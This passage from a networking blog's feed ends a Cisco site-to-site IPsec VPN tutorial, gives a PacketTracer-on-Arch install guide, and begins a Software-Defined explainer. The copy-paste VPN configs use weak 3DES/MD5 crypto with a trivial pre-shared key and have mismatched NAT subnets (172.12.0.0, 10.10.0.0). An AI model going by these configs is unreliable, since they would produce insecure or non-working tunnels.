&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-b&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-ext-nacl&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# permit ip 10.0.0.0 0.0.0.255 172.18.0.0 0.0.0.255&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;crypto map definition:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# crypto map Crypt 10 ipsec-isakmp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-crypto-map&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# set peer 1.1.1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-crypto-map&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# set transform-set TSet&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-crypto-map&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# match address VPN-ACL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;not-natting&#34;&gt;(not) NATting&lt;/h3&gt;
&lt;p&gt;Network Address Translation (NAT) is probably enabled in your network so the hosts can reach the Internet. When configuring a Site-to-Site VPN tunnel, it is critical to configure the router &lt;strong&gt;not to perform NAT&lt;/strong&gt; (deny NAT) on packets destined to the remote VPN network.&lt;/p&gt;
&lt;p&gt;The below is an example set of commands which you can use. Please do keep in mind however that NAT configuration in your network(s) might be much more complicated than that and might require some additional tweaking:&lt;/p&gt;
&lt;p&gt;network-a&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# ip nat inside source list 100 interface fastethernet0/1 overload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# access-list 100 deny ip 172.18.0.0 0.0.0.255 10.0.0.0 0.0.0.255&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# access-list 100 permit ip 172.18.0.0 0.0.0.255 any&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;network-b&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-b&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# ip nat inside source list 100 interface fastethernet0/1 overload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-b&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# access-list 100 deny ip 172.18.0.0 0.0.0.255 10.0.0.0 0.0.0.255&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-b&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# access-list 100 permit ip 172.18.0.0 0.0.0.255 any&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;activating-the-tunnel&#34;&gt;Activating the tunnel&lt;/h2&gt;
&lt;p&gt;Ok, as we have everything ready now, it is time to finally open up the tunnel. This has to be done from a router (not from a host or server) and really is just a ping from one site to the other. Afterwards the VPN tunnel will be available for all the hosts in both networks.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a# ping 10.0.0.1 source 172.18.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type escape sequence to abort.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sending 5, 100-byte ICMP Echos to 10.0.0.1, timeout is &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; seconds:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Packet sent with a source address of 172.18.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.!!!!
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Success rate is &lt;span style=&#34;color:#ae81ff&#34;&gt;80&lt;/span&gt; percent &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;4/5&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, round-trip min/avg/max &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; 44/47/48 ms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First few packets will always get dropped as it takes a couple of second for the tunnel to authenticate &amp;amp; initialize.&lt;/p&gt;
&lt;h2 id=&#34;for-the-lazy-admins&#34;&gt;For the lazy admins&amp;hellip;&lt;/h2&gt;
&lt;p&gt;As I know how painfully tedious copying the commands from blog posts is, I&amp;rsquo;m including here a complete copy&amp;amp;paste config which you only need to adjust slightly (IP addresses) before use. You might also want to change the NAT rules at the very end or remove them completely if they&amp;rsquo;d not fit into your NAT configuration. Feel free to copy, edit and apply it to routers in your lab(s) or network(s).&lt;/p&gt;
&lt;h3 id=&#34;copypaste-configuration-network-a&#34;&gt;Copy&amp;amp;Paste Configuration (network-a)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;en
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conf term
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto isakmp policy &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;encr 3des
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hash md5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;authentication pre-share
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;group &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lifetime &lt;span style=&#34;color:#ae81ff&#34;&gt;86400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto isakmp key sshguru address 2.2.2.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip access-list extended VPN-ACL
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;permit ip 172.18.0.0 0.0.0.255 10.0.0.0 0.0.0.255
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto ipsec transform-set TSet esp-3des esp-md5-hmac
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto map Crypt &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; ipsec-isakmp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set peer 2.2.2.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set transform-set TSet
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;match address VPN-ACL
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;interface FastEthernet0/1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto map Crypt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip nat inside source list &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; interface FastEthernet0/1 overload
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;access-list &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; deny ip 172.12.0.0 0.0.0.255 10.0.0.0 0.0.0.255
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;access-list &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; permit ip 172.12.0.0 0.0.0.255 any
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;copypaste-configuration-network-b&#34;&gt;Copy&amp;amp;Paste Configuration (network-b)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;en
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conf term
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto isakmp policy &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;encr 3des
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hash md5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;authentication pre-share
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;group &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lifetime &lt;span style=&#34;color:#ae81ff&#34;&gt;86400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto isakmp key sshguru address 1.1.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip access-list extended VPN-ACL
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;permit ip 10.0.0.0 0.0.0.255 172.18.0.0 0.0.0.255
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto ipsec transform-set TSet esp-3des esp-md5-hmac
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto map Crypt &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; ipsec-isakmp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set peer 1.1.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set transform-set TSet
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;match address VPN-ACL
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;interface FastEthernet0/1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crypto map Crypt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip nat inside source list &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; interface FastEthernet0/1 overload
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;access-list &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; deny ip 10.0.0.0 0.0.0.255 172.18.0.0 0.0.0.255
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;access-list &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; permit ip 10.10.0.0 0.0.0.255 any
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>Cisco PacketTracer on Linux</title>
      <link>/posts/201201-linux-packet-tracer/</link>
      <pubDate>Tue, 01 Dec 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/201201-linux-packet-tracer/</guid>
      <description>Installing a PacketTracer on Linux is not as simple as you might think. Firstly, there is no official, open to public repository which would be hosting the PT for Linux binaries (while the software is free to use, you have to authenticate with Netacad and download them from its website). Secondly, installing a package which binaries were downloaded separately is a bit trickier than the &amp;ldquo;normal&amp;rdquo; Linux apps.
Installing the PacketTracer Let&amp;rsquo;s begin by downloading the packettracer snapshot from the AUR:</description>
      <content>&lt;p&gt;Installing a PacketTracer on Linux is not as simple as you might think. Firstly, there is no official, open to public repository which would be hosting the PT for Linux binaries (while the software is free to use, you have to authenticate with Netacad and download them from its website). Secondly, installing a package which binaries were downloaded separately is a bit trickier than the &amp;ldquo;normal&amp;rdquo; Linux apps.&lt;/p&gt;
&lt;h3 id=&#34;installing-the-packettracer&#34;&gt;Installing the PacketTracer&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s begin by downloading the &lt;code&gt;packettracer&lt;/code&gt; snapshot from the &lt;a href=&#34;https://aur.archlinux.org/packages/packettracer/&#34;&gt;AUR&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ wget https://aur.archlinux.org/cgit/aur.git/snapshot/packettracer.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once the download finishes, issue the following command to unpack the &lt;code&gt;packettracer&lt;/code&gt; tarball:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ tar -zxf packettracer.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now comes the time to download the &lt;code&gt;packettracer&lt;/code&gt; tarball provided by Cisco on their &lt;a href=&#34;https://www.netacad.com/&#34;&gt;Netacad&lt;/a&gt; website. After creating an account there (or logging in if you already have it), navigate to the &lt;code&gt;Download&lt;/code&gt; section under &lt;code&gt;Resources&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;Here, scroll down and select &lt;code&gt;64 Bit Download&lt;/code&gt; under &lt;code&gt;Linux Desktop Version X.Y English&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;This download is pretty big (~320MB) and might take a while to finish on slower connections. After it&amp;rsquo;s done, move the &lt;code&gt;Packet Tracer 7.2 for Linux 64.bit.tar.gz&lt;/code&gt; (the name of the file you download might differ) to the &lt;code&gt;/packettracer&lt;/code&gt; directory created while unpacking the &lt;code&gt;packettracer.tar.gz&lt;/code&gt; with &lt;code&gt;tar&lt;/code&gt; in the previous step. Please note in this command I&amp;rsquo;m also changing the name of the tarball as I hate spaces in file names:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ mv /home/vlku/Downloads/Packet&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;Tracer&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;7.2&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;Linux&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;64&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;bit.tar.gz ~/packettracer/packettracer72.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ok - before we get to the installation, we need to install &lt;code&gt;icu52&lt;/code&gt; (dependency of &lt;code&gt;packettracer&lt;/code&gt;) from the &lt;a href=&#34;https://aur.archlinux.org/packages/icu52/&#34;&gt;AUR&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ git clone https://aur.archlinux.org/icu52.git /tmp &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; cd /tmp/icu52/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~/tmp/icu52&amp;gt;$ makepkg -si &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; cd ~/packettracer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, run the following command (ensure you are in the &lt;code&gt;/packettracer&lt;/code&gt; directory before running it):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~/packettracer&amp;gt;$ makepkg -si
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Success! Now you can launch the PacketTracer application and, after logging in with your Netacad credentials, simulate your Cisco network.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Software-Defined for Dummies</title>
      <link>/posts/201101-software-defined-for-dummies/</link>
      <pubDate>Sun, 01 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/201101-software-defined-for-dummies/</guid>
      <description>Back few years ago, a very popular term being thrown around by sales and technical people alike was &amp;ldquo;the cloud&amp;rdquo;.
We are going to bring you servers to the cloud Everything we provide as a company is cloud-based The days of datacenters is over - the era of the cloud has just begun.
You&amp;rsquo;ve heard these sentences in the past. You know more or less what they mean - or - what the person you&amp;rsquo;re speaking to wants to sell you by using the &amp;ldquo;cloud&amp;rdquo; term.</description>
      <content>&lt;p&gt;Back few years ago, a very popular term being thrown around by sales and technical people alike was &amp;ldquo;the cloud&amp;rdquo;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We are going to bring you servers to the cloud
Everything we provide as a company is cloud-based
The days of datacenters is over - the era of the cloud has just begun.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You&amp;rsquo;ve heard these sentences in the past. You know more or less what they mean - or - what the person you&amp;rsquo;re speaking to wants to &lt;strong&gt;sell&lt;/strong&gt; you by using the &amp;ldquo;cloud&amp;rdquo; term. Similar terms used in this manner are &amp;ldquo;artificial intelligence&amp;rdquo;, &amp;ldquo;automation&amp;rdquo; and, more recently, &amp;ldquo;blockchain&amp;rdquo;.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/blockchainjoke.jpeg&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Bear in mind - all of these words have proper meaning and are not some kind of pointless buzz words or catch phrases IT people came up with. Just like &amp;ldquo;Software-Defined&amp;rdquo;, all of these words can be used to describe real technology trends in the industry. AI engines are making a difference in programming and web development, we are automating more and more manual tasks in both end user and server/networking world, while blockchain in being actively developed and researched and should start popping up everywhere in the next couple of years.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s end the IT marketing here - it&amp;rsquo;s time to see what &amp;ldquo;Software-Defined Everything&amp;rdquo; really means from the technical point of view.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;software-defined--virtual&#34;&gt;Software-Defined == Virtual?&lt;/h2&gt;
&lt;p&gt;When speaking about the concept of Software-Defined Everything, people usually tend to be a bit more specific and use one of its derivative terms instead (depending on the point they&amp;rsquo;re trying to get across):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Software-Defined Compute (SDC)&lt;/li&gt;
&lt;li&gt;Software-Defined Storage (SDS)&lt;/li&gt;
&lt;li&gt;Software-Defined Networking (SDN)&lt;/li&gt;
&lt;li&gt;Software-Defined Data Center (SDDC)&lt;/li&gt;
&lt;li&gt;Software-Defined Facilities (SDF)&lt;/li&gt;
&lt;li&gt;Software-Defined Administration (SDA)&lt;/li&gt;
&lt;li&gt;Software-Defined Infrastructure (SDI)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of the above terms are, again, valid and describe one of different concepts about the dame idea. Let&amp;rsquo;s get through them one by one:&lt;/p&gt;
&lt;h3 id=&#34;software-defined-compute&#34;&gt;Software-Defined Compute&lt;/h3&gt;
&lt;p&gt;SDC refers to computational functions which can happen in any number of hardware devices in the datacenter, as needed, rather than be assigned to a specific hardware device. In addition, the compute functions can be moved around to different pieces of virtual infrastructure, depending on the availability of resources. Examples of well-known SDC solutions are VMware vMotion, VMware DRS and VMware Fault Tolerance.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/SDC.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;h3 id=&#34;software-defined-storage&#34;&gt;Software-Defined Storage&lt;/h3&gt;
&lt;p&gt;SDS can be used to describe storage virtualization technologies such as VMware vSAN. The concept is simple; by &amp;ldquo;virtualizing&amp;rdquo; storage, we can get rid of many limitations of traditional solutions such as storage area network (SAN), network atttached storage (NASes), tape storage, RAIDs etc. By abstracting the storage layer, we don&amp;rsquo;t have to worry about most of the physical limitations which come along the storage type in our datacenters. For example, expanding a vSAN means (in summary) adding more disks - that&amp;rsquo;s it; no re-configuration and with essentially no downtime.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/SDS.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;h3 id=&#34;software-defined-networking&#34;&gt;Software-Defined Networking&lt;/h3&gt;
&lt;p&gt;The new kid on the block - SDN - is a new approach to networks in cloud computing. It is meant to address the fact that the static architecture of traditional networks is decentralized and complex while current networks require more flexibility and easy troubleshooting. Just like with SDS, SDN is, in simple terms, a codeword for &amp;ldquo;virtualizing&amp;rdquo; the network. A prime example of an SDN solution is VMware NSX.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/SDN.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;h3 id=&#34;software-defined-data-center&#34;&gt;Software-Defined Data Center&lt;/h3&gt;
